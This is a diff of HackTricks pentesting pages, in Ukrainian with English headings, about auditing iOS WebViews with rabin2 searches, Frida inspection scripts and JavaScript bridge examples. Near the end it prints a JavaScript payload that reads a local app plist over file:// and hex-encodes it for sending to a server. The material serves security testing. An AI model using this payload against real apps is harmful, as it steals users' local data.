Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
* Якщо ви хочете побачити вашу **компанію рекламовану на HackTricks** або **завантажити HackTricks у PDF-форматі**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,31 +1,32 @@
|
|||
# Веб-вигляди iOS
|
||||
# iOS WebViews
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити **рекламу вашої компанії на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **і** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв на GitHub**.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
Код цієї сторінки був витягнутий з [тут](https://github.com/chame1eon/owasp-mstg/blob/master/Document/0x06h-Testing-Platform-Interaction.md). Перевірте сторінку для отримання додаткових відомостей.
|
||||
The code of this page was extracted from [here](https://github.com/chame1eon/owasp-mstg/blob/master/Document/0x06h-Testing-Platform-Interaction.md). Check the page for further details.
|
||||
|
||||
|
||||
## Типи веб-виглядів
|
||||
## WebViews types
|
||||
|
||||
Веб-вигляди використовуються в додатках для інтерактивного відображення веб-контенту. Різні типи веб-виглядів пропонують різні функціональності та функції безпеки для додатків iOS. Ось короткий огляд:
|
||||
WebViews використовуються в додатках для інтерактивного відображення веб-контенту. Різні типи WebViews пропонують різні функціональні можливості та функції безпеки для iOS-додатків. Ось короткий огляд:
|
||||
|
||||
- **UIWebView**, який більше не рекомендується з iOS 12 через відсутність підтримки відключення **JavaScript**, що робить його вразливим до внедрення скриптів та атак **Cross-Site Scripting (XSS)**.
|
||||
- **UIWebView**, який більше не рекомендується з iOS 12 через відсутність підтримки вимкнення **JavaScript**, що робить його вразливим до ін'єкцій скриптів та атак **Cross-Site Scripting (XSS)**.
|
||||
|
||||
- **WKWebView** є перевагою для включення вмісту в додатки, пропонуючи покращене керування вмістом та функціями безпеки. **JavaScript** увімкнено за замовчуванням, але його можна вимкнути за необхідності. Він також підтримує функції для запобігання автоматичному відкриттю вікон JavaScript та забезпечує безпечне завантаження всього вмісту. Крім того, архітектура **WKWebView** мінімізує ризик впливу на пам'ять, що впливає на основний процес додатка.
|
||||
- **WKWebView** є переважним варіантом для інтеграції веб-контенту в додатки, пропонуючи покращений контроль над контентом та функціями безпеки. **JavaScript** увімкнено за замовчуванням, але його можна вимкнути за необхідності. Він також підтримує функції, щоб запобігти автоматичному відкриттю вікон JavaScript і забезпечує безпечне завантаження всього контенту. Крім того, архітектура **WKWebView** мінімізує ризик пошкодження пам'яті, що впливає на основний процес додатка.
|
||||
|
||||
- **SFSafariViewController** пропонує стандартизований досвід перегляду веб-сторінок у додатках, який відрізняється своєю конкретною компоновкою, включаючи лише для читання поле адреси, кнопки обміну та навігації, а також пряме посилання на відкриття вмісту в Safari. На відміну від **WKWebView**, **JavaScript** не може бути вимкнений в **SFSafariViewController**, який також спільно використовує файли cookie та дані з Safari, зберігаючи конфіденційність користувача від додатка. Він повинен бути відображений видно згідно з вимогами App Store.
|
||||
- **SFSafariViewController** пропонує стандартизований досвід веб-серфінгу в додатках, впізнаваний за своїм специфічним макетом, включаючи поле адреси тільки для читання, кнопки спільного доступу та навігації, а також пряме посилання для відкриття контенту в Safari. На відміну від **WKWebView**, **JavaScript** не можна вимкнути в **SFSafariViewController**, який також ділиться куками та даними з Safari, зберігаючи конфіденційність користувача від додатка. Його потрібно відображати помітно відповідно до рекомендацій App Store.
|
||||
```javascript
|
||||
// Example of disabling JavaScript in WKWebView:
|
||||
WKPreferences *preferences = [[WKPreferences alloc] init];
|
||||
|
@ -34,45 +35,45 @@ WKWebViewConfiguration *config = [[WKWebViewConfiguration alloc] init];
|
|||
config.preferences = preferences;
|
||||
WKWebView *webView = [[WKWebView alloc] initWithFrame:CGRectZero configuration:config];
|
||||
```
|
||||
## Огляд налаштування WebViews
|
||||
## WebViews Configuration Exploration Summary
|
||||
|
||||
### **Загальний огляд статичного аналізу**
|
||||
### **Static Analysis Overview**
|
||||
|
||||
Під час вивчення конфігурацій **WebViews** акцентується на двох основних типах: **UIWebView** та **WKWebView**. Для ідентифікації цих WebViews у бінарному файлі використовуються команди, що шукають конкретні посилання на класи та методи ініціалізації.
|
||||
У процесі вивчення конфігурацій **WebViews** акцентується на двох основних типах: **UIWebView** та **WKWebView**. Для ідентифікації цих WebViews у бінарному файлі використовуються команди, що шукають специфічні посилання на класи та методи ініціалізації.
|
||||
|
||||
- **Ідентифікація UIWebView**
|
||||
- **UIWebView Identification**
|
||||
```bash
|
||||
$ rabin2 -zz ./WheresMyBrowser | egrep "UIWebView$"
|
||||
```
|
||||
Ця команда допомагає знаходити екземпляри **UIWebView**, шукаючи текстові рядки, що стосуються його в бінарному коді.
|
||||
Ця команда допомагає знаходити екземпляри **UIWebView**, шукаючи текстові рядки, пов'язані з ним, у бінарному файлі.
|
||||
|
||||
- **Ідентифікація WKWebView**
|
||||
```bash
|
||||
$ rabin2 -zz ./WheresMyBrowser | egrep "WKWebView$"
|
||||
```
|
||||
Так само, для **WKWebView**, ця команда шукає бінарний файл для текстових рядків, що свідчать про його використання.
|
||||
Аналогічно, для **WKWebView** ця команда шукає в бінарному файлі текстові рядки, що вказують на його використання.
|
||||
|
||||
Крім того, щоб знайти, як ініціалізується **WKWebView**, виконується наступна команда, спрямована на підпис методу, пов'язаного з його ініціалізацією:
|
||||
Крім того, щоб дізнатися, як ініціалізується **WKWebView**, виконується наступна команда, яка націлена на підпис методу, пов'язаний з його ініціалізацією:
|
||||
```bash
|
||||
$ rabin2 -zzq ./WheresMyBrowser | egrep "WKWebView.*frame"
|
||||
```
|
||||
#### **Перевірка конфігурації JavaScript**
|
||||
|
||||
Для **WKWebView** відзначається, що вимкнення JavaScript є найкращою практикою, якщо це необхідно. Компільований бінарний файл перевіряється, щоб підтвердити, що властивість `javaScriptEnabled` встановлена на `false`, що гарантує вимкнення JavaScript:
|
||||
Для **WKWebView** підкреслюється, що вимкнення JavaScript є найкращою практикою, якщо це не потрібно. Скомпільований бінарний файл перевіряється, щоб підтвердити, що властивість `javaScriptEnabled` встановлена в `false`, що забезпечує вимкнення JavaScript:
|
||||
```bash
|
||||
$ rabin2 -zz ./WheresMyBrowser | grep -i "javascriptenabled"
|
||||
```
|
||||
#### **Лише перевірка безпечного вмісту**
|
||||
#### **Тільки перевірка безпечного контенту**
|
||||
|
||||
**WKWebView** пропонує можливість виявлення проблем змішаного вмісту, відмінно від **UIWebView**. Це перевіряється за допомогою властивості `hasOnlySecureContent`, щоб забезпечити, що всі ресурси сторінки завантажуються через безпечні з'єднання. Пошук у скомпільованому бінарному файлі виконується наступним чином:
|
||||
**WKWebView** пропонує можливість виявлення проблем з змішаним контентом, на відміну від **UIWebView**. Це перевіряється за допомогою властивості `hasOnlySecureContent`, щоб забезпечити завантаження всіх ресурсів сторінки через безпечні з'єднання. Пошук у скомпільованому бінарному файлі виконується наступним чином:
|
||||
```bash
|
||||
$ rabin2 -zz ./WheresMyBrowser | grep -i "hasonlysecurecontent"
|
||||
```
|
||||
### **Динамічний аналіз**
|
||||
### **Інсайти динамічного аналізу**
|
||||
|
||||
Динамічний аналіз включає перевірку купи для екземплярів WebView та їх властивостей. Сценарій під назвою `webviews_inspector.js` використовується для цієї мети, спрямований на екземпляри `UIWebView`, `WKWebView` та `SFSafariViewController`. Він реєструє інформацію про знайдені екземпляри, включаючи URL-адреси та налаштування, пов'язані з JavaScript та безпечним вмістом.
|
||||
Динамічний аналіз передбачає перевірку купи на наявність екземплярів WebView та їх властивостей. Для цієї мети використовується скрипт під назвою `webviews_inspector.js`, який націлений на екземпляри `UIWebView`, `WKWebView` та `SFSafariViewController`. Він реєструє інформацію про знайдені екземпляри, включаючи URL-адреси та налаштування, пов'язані з JavaScript та безпечним контентом.
|
||||
|
||||
Перевірку купи можна провести, використовуючи `ObjC.choose()` для ідентифікації екземплярів WebView та перевірки властивостей `javaScriptEnabled` та `hasonlysecurecontent`.
|
||||
Перевірку купи можна проводити за допомогою `ObjC.choose()`, щоб ідентифікувати екземпляри WebView та перевірити властивості `javaScriptEnabled` та `hasonlysecurecontent`.
|
||||
|
||||
{% code title="webviews_inspector.js" %}
|
||||
```javascript
|
||||
|
@ -121,30 +122,30 @@ console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
Скрипт виконується за допомогою:
|
||||
Скрипт виконується з:
|
||||
```bash
|
||||
frida -U com.authenticationfailure.WheresMyBrowser -l webviews_inspector.js
|
||||
```
|
||||
**Основні результати**:
|
||||
- Вдало знаходяться та перевіряються екземпляри WebViews.
|
||||
- Перевіряється активація JavaScript та налаштування безпеки контенту.
|
||||
**Ключові результати**:
|
||||
- Екземпляри WebViews успішно виявлені та перевірені.
|
||||
- Перевірено налаштування активації JavaScript та безпечного контенту.
|
||||
|
||||
Цей огляд узагальнює критичні кроки та команди, які використовуються для аналізу конфігурацій WebView через статичні та динамічні підходи, зосереджуючись на функціях безпеки, таких як активація JavaScript та виявлення змішаного контенту.
|
||||
Цей підсумок охоплює критичні кроки та команди, що беруть участь в аналізі конфігурацій WebView через статичні та динамічні підходи, зосереджуючи увагу на функціях безпеки, таких як активація JavaScript та виявлення змішаного контенту.
|
||||
|
||||
## Обробка протоколів WebView
|
||||
|
||||
Обробка контенту в WebViews є критичним аспектом, особливо при роботі з різними протоколами, такими як `http(s)://`, `file://` та `tel://`. Ці протоколи дозволяють завантажувати як віддалений, так і локальний контент у додатках. Наголошується, що при завантаженні локального контенту необхідно вживати заходів для запобігання впливу користувачів на ім'я або шлях файлу та відредаговання самого контенту.
|
||||
Обробка контенту в WebViews є критично важливим аспектом, особливо при роботі з різними протоколами, такими як `http(s)://`, `file://` та `tel://`. Ці протоколи дозволяють завантажувати як віддалений, так і локальний контент в додатках. Підкреслюється, що при завантаженні локального контенту необхідно вжити заходів, щоб запобігти впливу користувачів на ім'я або шлях файлу та редагуванню самого контенту.
|
||||
|
||||
**WebViews** пропонують різні методи завантаження контенту. Для **UIWebView**, який зараз застарів, використовуються методи, такі як `loadHTMLString:baseURL:` та `loadData:MIMEType:textEncodingName:baseURL:`. **WKWebView**, з іншого боку, використовує `loadHTMLString:baseURL:`, `loadData:MIMEType:textEncodingName:baseURL:` та `loadRequest:` для веб-контенту. Методи, такі як `pathForResource:ofType:`, `URLForResource:withExtension:` та `init(contentsOf:encoding:)`, зазвичай використовуються для завантаження локальних файлів. Метод `loadFileURL:allowingReadAccessToURL:` особливо відомий своєю можливістю завантажувати конкретний URL або каталог у WebView, що потенційно може викрити чутливі дані у разі вказання каталогу.
|
||||
**WebViews** пропонують різні методи для завантаження контенту. Для **UIWebView**, який зараз застарів, використовуються методи, такі як `loadHTMLString:baseURL:` та `loadData:MIMEType:textEncodingName:baseURL:`. **WKWebView**, з іншого боку, використовує `loadHTMLString:baseURL:`, `loadData:MIMEType:textEncodingName:baseURL:` та `loadRequest:` для веб-контенту. Методи, такі як `pathForResource:ofType:`, `URLForResource:withExtension:` та `init(contentsOf:encoding:)`, зазвичай використовуються для завантаження локальних файлів. Метод `loadFileURL:allowingReadAccessToURL:` особливо помітний завдяки своїй здатності завантажувати конкретний URL або каталог у WebView, потенційно відкриваючи чутливі дані, якщо вказано каталог.
|
||||
|
||||
Для пошуку цих методів у вихідному коді або скомпільованому бінарному файлі можна використовувати такі команди:
|
||||
Щоб знайти ці методи в вихідному коді або скомпільованому бінарному файлі, можна використовувати команди, подібні до наступних:
|
||||
```bash
|
||||
$ rabin2 -zz ./WheresMyBrowser | grep -i "loadHTMLString"
|
||||
231 0x0002df6c 24 (4.__TEXT.__objc_methname) ascii loadHTMLString:baseURL:
|
||||
```
|
||||
Щодо **доступу до файлів**, UIWebView дозволяє його універсально, тоді як WKWebView вводить налаштування `allowFileAccessFromFileURLs` та `allowUniversalAccessFromFileURLs` для управління доступом з файлових URL-адрес, обидва за замовчуванням встановлені в значення false.
|
||||
Щодо **доступу до файлів**, UIWebView дозволяє його універсально, тоді як WKWebView вводить налаштування `allowFileAccessFromFileURLs` та `allowUniversalAccessFromFileURLs` для управління доступом з URL-адрес файлів, обидва з яких за замовчуванням мають значення false.
|
||||
|
||||
Наведено приклад скрипта Frida для перевірки конфігурацій **WKWebView** для налаштувань безпеки:
|
||||
Приклад скрипта Frida надається для перевірки конфігурацій **WKWebView** для налаштувань безпеки:
|
||||
```bash
|
||||
ObjC.choose(ObjC.classes['WKWebView'], {
|
||||
onMatch: function (wk) {
|
||||
|
@ -162,7 +163,7 @@ console.log('done for WKWebView!');
|
|||
}
|
||||
});
|
||||
```
|
||||
В кінцевому підсумку, приклад JavaScript-навантаження, спрямованого на витягування локальних файлів, демонструє потенційний ризик безпеки, пов'язаний з неправильно налаштованими WebViews. Це навантаження кодує вміст файлу у шістнадцятковому форматі перед передачею їх на сервер, підкреслюючи важливість суворих заходів безпеки в реалізації WebView.
|
||||
Нарешті, приклад JavaScript-пейлоада, спрямованого на ексфільтрацію локальних файлів, демонструє потенційний ризик безпеки, пов'язаний з неправильно налаштованими WebViews. Цей пейлоад кодує вміст файлів у шістнадцятковий формат перед їх передачею на сервер, підкреслюючи важливість суворих заходів безпеки в реалізаціях WebView.
|
||||
```javascript
|
||||
String.prototype.hexEncode = function(){
|
||||
var hex, i;
|
||||
|
@ -185,24 +186,24 @@ xhr2.send(null);
|
|||
xhr.open('GET', 'file:///var/mobile/Containers/Data/Application/ED4E0AD8-F7F7-4078-93CC-C350465048A5/Library/Preferences/com.authenticationfailure.WheresMyBrowser.plist', true);
|
||||
xhr.send(null);
|
||||
```
|
||||
## Вбудовані методи, які викриваються через WebViews
|
||||
## Native Methods Exposed Through WebViews
|
||||
|
||||
## Розуміння вбудованих інтерфейсів WebView в iOS
|
||||
## Understanding WebView Native Interfaces in iOS
|
||||
|
||||
Починаючи з iOS 7, Apple надала API для **зв'язку між JavaScript у WebView та вбудованими** об'єктами Swift або Objective-C. Ця інтеграція в основному здійснюється за допомогою двох методів:
|
||||
З iOS 7 Apple надала API для **зв'язку між JavaScript у WebView та нативними** об'єктами Swift або Objective-C. Ця інтеграція в основному здійснюється через два методи:
|
||||
|
||||
- **JSContext**: JavaScript-функція автоматично створюється, коли блок Swift або Objective-C пов'язаний з ідентифікатором у `JSContext`. Це дозволяє безшовну інтеграцію та зв'язок між JavaScript та вбудованим кодом.
|
||||
- **JSExport Protocol**: Шляхом успадкування протоколу `JSExport` можна викрити вбудовані властивості, екземплярні методи та методи класу для JavaScript. Це означає, що будь-які зміни, внесені в середовищі JavaScript, відображаються в вбудованому середовищі, і навпаки. Однак важливо переконатися, що чутливі дані не випадково не викриваються через цей метод.
|
||||
- **JSContext**: JavaScript-функція автоматично створюється, коли блок Swift або Objective-C пов'язується з ідентифікатором у `JSContext`. Це дозволяє безперешкодно інтегрувати та взаємодіяти між JavaScript та нативним кодом.
|
||||
- **JSExport Protocol**: Наслідуючи протокол `JSExport`, нативні властивості, методи екземпляра та методи класу можуть бути відкриті для JavaScript. Це означає, що будь-які зміни, внесені в середовищі JavaScript, відображаються в нативному середовищі, і навпаки. Однак важливо переконатися, що чутливі дані не відкриваються ненавмисно через цей метод.
|
||||
|
||||
### Отримання доступу до `JSContext` в Objective-C
|
||||
### Accessing `JSContext` in Objective-C
|
||||
|
||||
У Objective-C, `JSContext` для `UIWebView` можна отримати за допомогою наступного рядка коду:
|
||||
В Objective-C `JSContext` для `UIWebView` можна отримати за допомогою наступного рядка коду:
|
||||
```objc
|
||||
[webView valueForKeyPath:@"documentView.webView.mainFrame.javaScriptContext"]
|
||||
```
|
||||
### Зв'язок з `WKWebView`
|
||||
### Спілкування з `WKWebView`
|
||||
|
||||
Для `WKWebView` прямий доступ до `JSContext` недоступний. Замість цього використовується передача повідомлень через функцію `postMessage`, що дозволяє JavaScript взаємодіяти з нативним кодом. Обробники для цих повідомлень налаштовуються наступним чином, що дозволяє JavaScript взаємодіяти з нативним додатком безпечно:
|
||||
Для `WKWebView` прямий доступ до `JSContext` недоступний. Натомість використовується передача повідомлень через функцію `postMessage`, що дозволяє JavaScript взаємодіяти з нативним кодом. Обробники для цих повідомлень налаштовуються наступним чином, що дозволяє JavaScript безпечно взаємодіяти з нативним додатком:
|
||||
```swift
|
||||
func enableJavaScriptBridge(_ enabled: Bool) {
|
||||
options_dict["javaScriptBridge"]?.value = enabled
|
||||
|
@ -215,9 +216,9 @@ userContentController.add(javaScriptBridgeMessageHandler, name: "javaScriptBridg
|
|||
}
|
||||
}
|
||||
```
|
||||
### Взаємодія та тестування
|
||||
### Взаємодія та Тестування
|
||||
|
||||
JavaScript може взаємодіяти з внутрішнім рівнем, визначаючи обробник повідомлень скрипту. Це дозволяє виконувати операції, такі як виклик внутрішніх функцій з веб-сторінки:
|
||||
JavaScript може взаємодіяти з нативним шаром, визначаючи обробник повідомлень скрипта. Це дозволяє виконувати операції, такі як виклик нативних функцій з веб-сторінки:
|
||||
```javascript
|
||||
function invokeNativeOperation() {
|
||||
value1 = document.getElementById("value1").value
|
||||
|
@ -228,7 +229,7 @@ window.webkit.messageHandlers.javaScriptBridge.postMessage(["multiplyNumbers", v
|
|||
// Alternative method for calling exposed JavaScript functions
|
||||
document.location = "javascriptbridge://addNumbers/" + 1 + "/" + 2
|
||||
```
|
||||
Для захоплення та маніпулювання результатом виклику вбудованої функції, можна перевизначити функцію зворотного виклику в межах HTML:
|
||||
Щоб захопити та маніпулювати результатом виклику нативної функції, можна переопределити функцію зворотного виклику в HTML:
|
||||
```html
|
||||
<html>
|
||||
<script>
|
||||
|
@ -239,7 +240,7 @@ alert(result);
|
|||
</script>
|
||||
</html>
|
||||
```
|
||||
Нативна сторона обробляє виклик JavaScript, як показано в класі `JavaScriptBridgeMessageHandler`, де результат операцій, таких як множення чисел, обробляється і відправляється назад до JavaScript для відображення або подальшої обробки:
|
||||
Сторона нативного коду обробляє виклик JavaScript, як показано в класі `JavaScriptBridgeMessageHandler`, де результат операцій, таких як множення чисел, обробляється і надсилається назад до JavaScript для відображення або подальшої маніпуляції:
|
||||
```swift
|
||||
class JavaScriptBridgeMessageHandler: NSObject, WKScriptMessageHandler {
|
||||
// Handling "multiplyNumbers" operation
|
||||
|
@ -252,22 +253,22 @@ let javaScriptCallBack = "javascriptBridgeCallBack('\(functionFromJS)','\(result
|
|||
message.webView?.evaluateJavaScript(javaScriptCallBack, completionHandler: nil)
|
||||
}
|
||||
```
|
||||
## Налаштування відлагодження iOS WebViews
|
||||
## Налагодження iOS WebViews
|
||||
|
||||
(Посібник на основі [https://blog.vuplex.com/debugging-webviews](https://blog.vuplex.com/debugging-webviews))
|
||||
(Посібник, оснований на [https://blog.vuplex.com/debugging-webviews](https://blog.vuplex.com/debugging-webviews))
|
||||
|
||||
Для ефективного відлагодження веб-контенту в межах iOS webviews потрібна конкретна настройка, яка включає в себе інструменти розробника Safari, оскільки повідомлення, відправлені до `console.log()`, не відображаються в журналах Xcode. Ось спрощений посібник, який підкреслює ключові кроки та вимоги:
|
||||
Щоб ефективно налагоджувати веб-контент у iOS webviews, потрібна специфічна налаштування, що включає інструменти розробника Safari, оскільки повідомлення, надіслані до `console.log()`, не відображаються в журналах Xcode. Ось спрощений посібник, що підкреслює ключові кроки та вимоги:
|
||||
|
||||
- **Підготовка на пристрої iOS**: Інспектор веб-сторінок Safari повинен бути активований на вашому пристрої iOS. Це робиться, перейшовши до **Налаштування > Safari > Додатково**, та увімкнувши _Інспектор веб-сторінок_.
|
||||
- **Підготовка на пристрої iOS**: Необхідно активувати Web Inspector Safari на вашому пристрої iOS. Це робиться через **Налаштування > Safari > Додатково**, і ввімкнення _Web Inspector_.
|
||||
|
||||
- **Підготовка на пристрої macOS**: На вашому робочому пристрої macOS вам потрібно увімкнути інструменти розробника в Safari. Запустіть Safari, перейдіть до **Safari > Налаштування > Додатково**, та виберіть опцію _Показати меню Розробник_.
|
||||
- **Підготовка на пристрої macOS**: На вашій розробницькій машині macOS потрібно ввімкнути інструменти розробника в Safari. Запустіть Safari, перейдіть до **Safari > Налаштування > Додатково**, і виберіть опцію _Показати меню Розробка_.
|
||||
|
||||
- **Підключення та відлагодження**: Після підключення вашого пристрою iOS до комп'ютера macOS та запуску вашої програми, використовуйте Safari на пристрої macOS, щоб вибрати webview, яку ви хочете відлагоджувати. Перейдіть до _Розробка_ у меню Safari, наведіть курсор на назву вашого пристрою iOS, щоб побачити список екземплярів webview, та виберіть екземпляр, який ви хочете перевірити. Для цієї мети відкриється нове вікно Інспектора веб-сторінок Safari.
|
||||
- **З'єднання та налагодження**: Після підключення вашого пристрою iOS до комп'ютера macOS і запуску вашого додатку, використовуйте Safari на вашому пристрої macOS, щоб вибрати webview, який ви хочете налагоджувати. Перейдіть до _Розробка_ в меню Safari, наведіть курсор на ім'я вашого пристрою iOS, щоб побачити список екземплярів webview, і виберіть екземпляр, який ви хочете перевірити. Відкриється нове вікно Web Inspector Safari для цієї мети.
|
||||
|
||||
Проте слід бути уважним до обмежень:
|
||||
Однак, будьте уважні до обмежень:
|
||||
|
||||
- Для відлагодження за цим методом потрібен пристрій macOS, оскільки він залежить від Safari.
|
||||
- Тільки webviews у програмах, завантажених на ваш пристрій через Xcode, можуть бути відлагоджені. Webviews у додатках, встановлених через App Store або Apple Configurator, не можуть бути відлагоджені цим способом.
|
||||
- Налагодження цим методом вимагає пристрою macOS, оскільки воно залежить від Safari.
|
||||
- Тільки webviews у додатках, завантажених на ваш пристрій через Xcode, підлягають налагодженню. Webviews у додатках, встановлених через App Store або Apple Configurator, не можуть бути налагоджені цим способом.
|
||||
|
||||
|
||||
## Посилання
|
||||
|
@ -276,16 +277,17 @@ message.webView?.evaluateJavaScript(javaScriptCallBack, completionHandler: nil)
|
|||
* [https://github.com/authenticationfailure/WheresMyBrowser.iOS](https://github.com/authenticationfailure/WheresMyBrowser.iOS)
|
||||
* [https://github.com/chame1eon/owasp-mstg/blob/master/Document/0x06h-Testing-Platform-Interaction.md](https://github.com/chame1eon/owasp-mstg/blob/master/Document/0x06h-Testing-Platform-Interaction.md)
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити вашу **компанію рекламовану на HackTricks** або **завантажити HackTricks у PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github репозиторіїв.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,60 +1,61 @@
|
|||
# Xamarin Apps
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити вашу **компанію рекламовану на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
